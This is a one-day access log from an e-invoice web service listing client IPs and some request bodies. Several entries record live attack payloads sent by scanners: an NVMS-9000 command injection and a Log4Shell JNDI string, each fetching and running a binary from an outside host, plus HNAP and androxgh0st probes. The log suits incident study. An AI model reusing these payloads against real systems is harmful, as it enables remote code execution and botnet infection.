2022-06-28 00:01:10.1897|INFO|EINVOICENET.WebService.ClsLog|114.119.129.7 
2022-06-28 00:13:42.7267|INFO|EINVOICENET.WebService.ClsLog|114.119.129.71 
2022-06-28 00:16:05.7666|INFO|EINVOICENET.WebService.ClsLog|54.36.148.15 
2022-06-28 00:50:14.2678|INFO|EINVOICENET.WebService.ClsLog|20.67.241.136 0x%5B%5D=androxgh0st
2022-06-28 00:52:50.4008|INFO|EINVOICENET.WebService.ClsLog|114.119.132.238 
2022-06-28 00:57:22.3852|INFO|EINVOICENET.WebService.ClsLog|31.220.1.83 
2022-06-28 01:05:11.1662|INFO|EINVOICENET.WebService.ClsLog|31.220.1.83 
2022-06-28 01:11:47.0446|INFO|EINVOICENET.WebService.ClsLog|34.139.229.25 
2022-06-28 01:15:55.1162|INFO|EINVOICENET.WebService.ClsLog|66.249.66.20 
2022-06-28 01:27:46.5476|INFO|EINVOICENET.WebService.ClsLog|66.249.66.22 
2022-06-28 01:27:47.5373|INFO|EINVOICENET.WebService.ClsLog|66.249.66.18 
2022-06-28 01:30:55.1251|INFO|EINVOICENET.WebService.ClsLog|34.139.229.25 
2022-06-28 01:38:48.3237|INFO|EINVOICENET.WebService.ClsLog|92.204.145.66 
2022-06-28 02:18:07.1242|INFO|EINVOICENET.WebService.ClsLog|start
2022-06-28 02:18:07.1272|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2022-06-28 02:18:07.1372|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2022-06-28 02:18:07.1473|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 02:18:37.5683|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 02:21:45.3330|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 02:22:05.0900|INFO|EINVOICENET.WebService.ClsLog|114.119.129.74 
2022-06-28 02:24:13.6607|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 02:25:49.3542|INFO|EINVOICENET.WebService.ClsLog|194.31.98.60 
2022-06-28 02:25:52.2602|INFO|EINVOICENET.WebService.ClsLog|194.31.98.60 
2022-06-28 02:26:17.1781|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:26:31.4720|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:26:37.8634|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:26:42.8731|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:26:47.2340|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:26:53.9374|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:26:55.1928|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:26:58.0085|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:26:59.3783|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:27:12.9544|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:27:16.6644|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:27:18.5777|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:27:24.2401|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:27:30.5584|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 02:29:46.4484|INFO|EINVOICENET.WebService.ClsLog|114.119.129.74 
2022-06-28 02:45:43.7954|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 02:46:23.2689|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 02:56:14.1669|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 03:00:30.4160|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 03:09:24.5630|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 03:17:31.3187|INFO|EINVOICENET.WebService.ClsLog|45.90.161.56 
2022-06-28 03:17:34.1806|INFO|EINVOICENET.WebService.ClsLog|45.90.161.56 
2022-06-28 03:17:34.3691|INFO|EINVOICENET.WebService.ClsLog|205.210.31.18 
2022-06-28 03:24:30.7902|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 03:26:39.2637|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 03:31:33.5533|INFO|EINVOICENET.WebService.ClsLog|34.138.125.83 
2022-06-28 04:45:56.2253|INFO|EINVOICENET.WebService.ClsLog|start
2022-06-28 04:45:56.2283|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2022-06-28 04:45:56.2383|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2022-06-28 04:45:56.2514|INFO|EINVOICENET.WebService.ClsLog|114.119.140.196 
2022-06-28 05:00:22.3849|INFO|EINVOICENET.WebService.ClsLog|114.119.140.196 
2022-06-28 05:07:31.5517|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 05:09:04.5165|INFO|EINVOICENET.WebService.ClsLog|112.31.139.41 <?xml version="1.0" encoding="utf-8"?><request version="1.0" systemType="NVMS-9000" clientType="WEB"><types><filterTypeMode><enum>refuse</enum><enum>allow</enum></filterTypeMode><addressType><enum>ip</enum><enum>iprange</enum><enum>mac</enum></addressType></types><content><switch>true</switch><filterType type="filterTypeMode">refuse</filterType><filterList type="list"><itemType><addressType type="addressType"/></itemType><item><switch>true</switch><addressType>ip</addressType><ip>$(cd${IFS}/tmp;wget${IFS}http://92.118.230.134/garm7${IFS}-O-${IFS}>GSec;chmod${IFS}777${IFS}GSec;./GSec${IFS}tvt)</ip></item></filterList></content></request>
2022-06-28 05:16:25.9832|INFO|EINVOICENET.WebService.ClsLog|193.118.53.202 
2022-06-28 05:37:16.9795|INFO|EINVOICENET.WebService.ClsLog|161.35.86.181 
2022-06-28 05:37:17.5511|INFO|EINVOICENET.WebService.ClsLog|161.35.86.181 
2022-06-28 05:37:19.5937|INFO|EINVOICENET.WebService.ClsLog|161.35.86.181 
2022-06-28 05:47:14.4487|INFO|EINVOICENET.WebService.ClsLog|114.119.132.248 
2022-06-28 05:59:54.4492|INFO|EINVOICENET.WebService.ClsLog|185.102.170.48 
2022-06-28 06:07:46.1247|INFO|EINVOICENET.WebService.ClsLog|114.119.132.238 
2022-06-28 06:27:27.7793|INFO|EINVOICENET.WebService.ClsLog|194.5.73.5 
2022-06-28 06:57:39.7838|INFO|EINVOICENET.WebService.ClsLog|185.102.170.48 
2022-06-28 07:06:12.3216|INFO|EINVOICENET.WebService.ClsLog|114.119.132.248 
2022-06-28 07:26:21.7785|INFO|EINVOICENET.WebService.ClsLog|31.220.1.83 
2022-06-28 07:53:10.2720|INFO|EINVOICENET.WebService.ClsLog|114.119.129.81 
2022-06-28 08:24:25.9675|INFO|EINVOICENET.WebService.ClsLog|82.165.224.81 
2022-06-28 08:29:10.4871|INFO|EINVOICENET.WebService.ClsLog|82.165.224.81 
2022-06-28 08:29:11.7987|INFO|EINVOICENET.WebService.ClsLog|82.165.224.81 
2022-06-28 08:29:11.9401|INFO|EINVOICENET.WebService.ClsLog|82.165.224.65 
2022-06-28 08:29:13.3400|INFO|EINVOICENET.WebService.ClsLog|82.165.224.65 
2022-06-28 08:29:13.3791|INFO|EINVOICENET.WebService.ClsLog|82.165.224.97 
2022-06-28 08:29:15.0277|INFO|EINVOICENET.WebService.ClsLog|82.165.224.17 
2022-06-28 08:29:18.5183|INFO|EINVOICENET.WebService.ClsLog|82.165.224.65 
2022-06-28 08:29:21.5797|INFO|EINVOICENET.WebService.ClsLog|82.165.224.33 
2022-06-28 08:29:22.4521|INFO|EINVOICENET.WebService.ClsLog|82.165.224.97 
2022-06-28 08:29:24.5379|INFO|EINVOICENET.WebService.ClsLog|82.165.224.81 
2022-06-28 08:29:25.2899|INFO|EINVOICENET.WebService.ClsLog|82.165.224.65 
2022-06-28 08:39:37.8919|INFO|EINVOICENET.WebService.ClsLog|1.205.130.46 
2022-06-28 09:06:57.9564|INFO|EINVOICENET.WebService.ClsLog|157.90.181.206 
2022-06-28 09:08:05.5506|INFO|EINVOICENET.WebService.ClsLog|192.241.219.98 
2022-06-28 09:35:35.4068|INFO|EINVOICENET.WebService.ClsLog|185.220.100.253 
2022-06-28 09:35:44.4968|INFO|EINVOICENET.WebService.ClsLog|109.111.136.148 
2022-06-28 09:37:00.0029|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 09:38:28.2552|INFO|EINVOICENET.WebService.ClsLog|154.209.125.58 
2022-06-28 09:45:11.7517|INFO|EINVOICENET.WebService.ClsLog|114.119.129.7 
2022-06-28 09:47:45.3936|INFO|EINVOICENET.WebService.ClsLog|64.62.197.197 
2022-06-28 10:40:37.0313|INFO|EINVOICENET.WebService.ClsLog|114.119.132.238 
2022-06-28 10:51:17.5374|INFO|EINVOICENET.WebService.ClsLog|185.196.220.70 
2022-06-28 10:54:57.3846|INFO|EINVOICENET.WebService.ClsLog|46.98.193.126 
2022-06-28 10:56:23.8627|INFO|EINVOICENET.WebService.ClsLog|207.46.13.103 
2022-06-28 10:57:34.9143|INFO|EINVOICENET.WebService.ClsLog|66.249.66.210 
2022-06-28 11:01:35.2855|INFO|EINVOICENET.WebService.ClsLog|66.249.66.20 
2022-06-28 11:01:36.2782|INFO|EINVOICENET.WebService.ClsLog|66.249.66.210 
2022-06-28 11:22:25.1572|INFO|EINVOICENET.WebService.ClsLog|128.1.248.42 
2022-06-28 11:39:04.9531|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 11:41:26.4175|INFO|EINVOICENET.WebService.ClsLog|170.231.236.42 
2022-06-28 11:41:28.8422|INFO|EINVOICENET.WebService.ClsLog|170.231.236.42 
2022-06-28 12:01:56.9054|INFO|EINVOICENET.WebService.ClsLog|178.73.215.171 
2022-06-28 12:08:33.5937|INFO|EINVOICENET.WebService.ClsLog|87.250.224.55 
2022-06-28 12:12:31.8204|INFO|EINVOICENET.WebService.ClsLog|114.119.132.248 
2022-06-28 12:27:56.3251|INFO|EINVOICENET.WebService.ClsLog|114.119.140.196 
2022-06-28 12:36:31.4566|INFO|EINVOICENET.WebService.ClsLog|114.119.132.248 
2022-06-28 12:45:11.2068|INFO|EINVOICENET.WebService.ClsLog|114.119.132.248 
2022-06-28 12:52:38.1817|INFO|EINVOICENET.WebService.ClsLog|114.119.129.74 
2022-06-28 13:03:00.7385|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 13:12:30.4793|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 13:13:11.2805|INFO|EINVOICENET.WebService.ClsLog|39.144.10.94 <?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><AddPortMapping xmlns="http://purenetworks.com/HNAP1/"><PortMappingDescription>foobar</PortMappingDescription><InternalClient>192.168.0.100</InternalClient><PortMappingProtocol>TCP</PortMappingProtocol><ExternalPort>1234</ExternalPort><InternalPort>1234</InternalPort></AddPortMapping></soap:Body></soap:Envelope>


2022-06-28 13:19:05.8720|INFO|EINVOICENET.WebService.ClsLog|114.119.129.71 
2022-06-28 13:32:47.5656|INFO|EINVOICENET.WebService.ClsLog|114.119.132.248 
2022-06-28 13:33:05.5049|INFO|EINVOICENET.WebService.ClsLog|157.55.39.8 
2022-06-28 13:37:30.2687|INFO|EINVOICENET.WebService.ClsLog|185.196.220.70 
2022-06-28 13:41:18.3965|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 13:49:54.6191|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 13:52:11.9447|INFO|EINVOICENET.WebService.ClsLog|172.104.138.223 
2022-06-28 13:54:04.3469|INFO|EINVOICENET.WebService.ClsLog|109.237.103.118 
2022-06-28 14:07:15.9151|INFO|EINVOICENET.WebService.ClsLog|114.119.140.196 
2022-06-28 14:08:41.2536|INFO|EINVOICENET.WebService.ClsLog|167.94.146.57 
2022-06-28 14:08:41.7720|INFO|EINVOICENET.WebService.ClsLog|167.94.146.57 
2022-06-28 14:24:54.0929|INFO|EINVOICENET.WebService.ClsLog|114.119.132.248 
2022-06-28 14:26:58.8285|INFO|EINVOICENET.WebService.ClsLog|45.79.204.46 
2022-06-28 14:38:45.3314|INFO|EINVOICENET.WebService.ClsLog|114.119.129.71 
2022-06-28 14:47:10.3302|INFO|EINVOICENET.WebService.ClsLog|114.119.129.71 
2022-06-28 14:52:13.5576|INFO|EINVOICENET.WebService.ClsLog|157.55.39.8 
2022-06-28 15:10:51.8688|INFO|EINVOICENET.WebService.ClsLog|114.119.129.81 
2022-06-28 15:13:55.8514|INFO|EINVOICENET.WebService.ClsLog|120.208.53.3 
2022-06-28 15:26:32.2016|INFO|EINVOICENET.WebService.ClsLog|45.61.185.76 
2022-06-28 15:39:39.3430|INFO|EINVOICENET.WebService.ClsLog|114.119.140.196 
2022-06-28 15:52:50.7448|INFO|EINVOICENET.WebService.ClsLog|5.161.135.176 
2022-06-28 15:58:56.9598|INFO|EINVOICENET.WebService.ClsLog|185.196.220.81 username=admin&psd=Feefifofum
2022-06-28 16:07:07.1105|INFO|EINVOICENET.WebService.ClsLog|137.184.87.163 0x%5B%5D=androxgh0st
2022-06-28 16:09:55.2402|INFO|EINVOICENET.WebService.ClsLog|94.102.61.10 
2022-06-28 16:14:25.1841|INFO|EINVOICENET.WebService.ClsLog|94.102.61.10 
2022-06-28 16:15:10.6756|INFO|EINVOICENET.WebService.ClsLog|94.102.61.10 
2022-06-28 16:28:06.2630|INFO|EINVOICENET.WebService.ClsLog|185.102.170.48 
2022-06-28 16:28:37.8773|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 16:34:22.7386|INFO|EINVOICENET.WebService.ClsLog|114.119.140.196 
2022-06-28 16:37:09.5375|INFO|EINVOICENET.WebService.ClsLog|223.25.16.129 
2022-06-28 16:37:13.3751|INFO|EINVOICENET.WebService.ClsLog|223.25.16.129 
2022-06-28 16:37:17.5866|INFO|EINVOICENET.WebService.ClsLog|223.25.16.129 
2022-06-28 16:38:51.4850|INFO|EINVOICENET.WebService.ClsLog|185.7.214.104 
2022-06-28 16:40:03.2134|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 16:42:57.8774|INFO|EINVOICENET.WebService.ClsLog|5.161.134.150 
2022-06-28 17:02:43.6615|INFO|EINVOICENET.WebService.ClsLog|114.119.132.242 
2022-06-28 17:07:56.8598|INFO|EINVOICENET.WebService.ClsLog|5.161.133.153 
2022-06-28 17:12:16.6417|INFO|EINVOICENET.WebService.ClsLog|65.21.206.44 
2022-06-28 17:55:08.4850|INFO|EINVOICENET.WebService.ClsLog|114.119.132.238 
2022-06-28 18:06:29.0290|INFO|EINVOICENET.WebService.ClsLog|170.130.187.18 
2022-06-28 18:36:35.1382|INFO|EINVOICENET.WebService.ClsLog|114.119.140.196 
2022-06-28 18:42:33.2788|INFO|EINVOICENET.WebService.ClsLog|114.119.140.196 
2022-06-28 19:44:00.8687|INFO|EINVOICENET.WebService.ClsLog|start
2022-06-28 19:44:00.8737|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2022-06-28 19:44:00.8848|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2022-06-28 19:44:00.9439|INFO|EINVOICENET.WebService.ClsLog|114.119.129.71 
2022-06-28 19:54:45.9976|INFO|EINVOICENET.WebService.ClsLog|114.119.129.71 
2022-06-28 20:01:38.4771|INFO|EINVOICENET.WebService.ClsLog|114.119.129.71 
2022-06-28 20:03:26.9970|INFO|EINVOICENET.WebService.ClsLog|114.119.129.81 
2022-06-28 20:05:00.6768|INFO|EINVOICENET.WebService.ClsLog|114.119.129.7 
2022-06-28 21:29:12.9106|INFO|EINVOICENET.WebService.ClsLog|start
2022-06-28 21:29:12.9136|INFO|EINVOICENET.WebService.ClsLog|productKey= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2022-06-28 21:29:12.9236|INFO|EINVOICENET.WebService.ClsLog|encrypt= 0101300842;0314645129;0308478060;0312863386;0310510427;0304503975
2022-06-28 21:29:12.9367|INFO|EINVOICENET.WebService.ClsLog|31.220.1.83 
2022-06-28 21:30:05.5900|INFO|EINVOICENET.WebService.ClsLog|66.249.72.132 
2022-06-28 21:39:24.7344|INFO|EINVOICENET.WebService.ClsLog|185.7.214.104 
2022-06-28 21:47:59.8552|INFO|EINVOICENET.WebService.ClsLog|193.118.53.210 
2022-06-28 21:57:30.2240|INFO|EINVOICENET.WebService.ClsLog|206.81.103.87 
2022-06-28 22:17:49.4793|INFO|EINVOICENET.WebService.ClsLog|185.196.220.70 
2022-06-28 22:19:26.0179|INFO|EINVOICENET.WebService.ClsLog|185.7.214.104 
2022-06-28 22:22:04.2303|INFO|EINVOICENET.WebService.ClsLog|185.102.170.48 
2022-06-28 22:32:09.3745|INFO|EINVOICENET.WebService.ClsLog|t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150.136.111.68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbWFrZWZpbGU4OyBjdXJsIC1PIGh0dHA6Ly8xNDAuMjM4LjE4MC4zNC9tYWtlZmlsZTg7IGNobW9kIDc3NyBtYWtlZmlsZTg7IC4vbWFrZWZpbGU4IHJ1bm5lcg==}') 
2022-06-28 22:42:54.8240|INFO|EINVOICENET.WebService.ClsLog|185.7.214.104 
2022-06-28 22:58:19.3298|INFO|EINVOICENET.WebService.ClsLog|34.78.6.216 
2022-06-28 23:11:20.6313|INFO|EINVOICENET.WebService.ClsLog|157.55.39.8 
2022-06-28 23:24:59.3123|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250 
2022-06-28 23:37:25.3316|INFO|EINVOICENET.WebService.ClsLog|114.119.132.248 
2022-06-28 23:55:46.6709|INFO|EINVOICENET.WebService.ClsLog|128.14.209.162 
2022-06-28 23:58:47.7125|INFO|EINVOICENET.WebService.ClsLog|114.119.132.250